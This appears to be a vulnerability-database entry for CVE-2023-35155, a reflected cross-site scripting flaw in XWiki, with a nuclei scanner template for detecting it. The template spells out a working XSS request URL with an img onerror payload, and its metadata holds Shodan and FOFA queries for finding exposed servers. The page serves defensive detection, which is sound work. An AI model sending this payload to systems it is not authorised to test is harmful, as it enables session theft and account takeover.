HexBrain

Browse / CVEs / CVE-2023-35155

CVE-2023-35155· xwiki / xwiki· CWE-79

XWiki - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.5%likelihood of exploitation, next 30 days
75%of all CVEs are less likely
Readycheck to confirm it

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).

Impact

Successful exploitation could lead to unauthorized access to sensitive information or account takeover

Fix

Apply the latest security patches provided by XWiki to mitigate the vulnerability

How to confirm it

Send: GET {{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message…
Positive when: contains "<img src onerror=alert(document.domain)>" and "Applications</h2>" and "Navigation</h2" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-35155 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-35155

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover
  remediation: |
    Apply the latest security patches provided by XWiki to mitigate the vulnerability
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20370
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35155
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35155
    cwe-id: CWE-79
    epss-score: 0.01496
    epss-percentile: 0.74415
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message={{randstr}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Applications</h2>"
          - "Navigation</h2"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from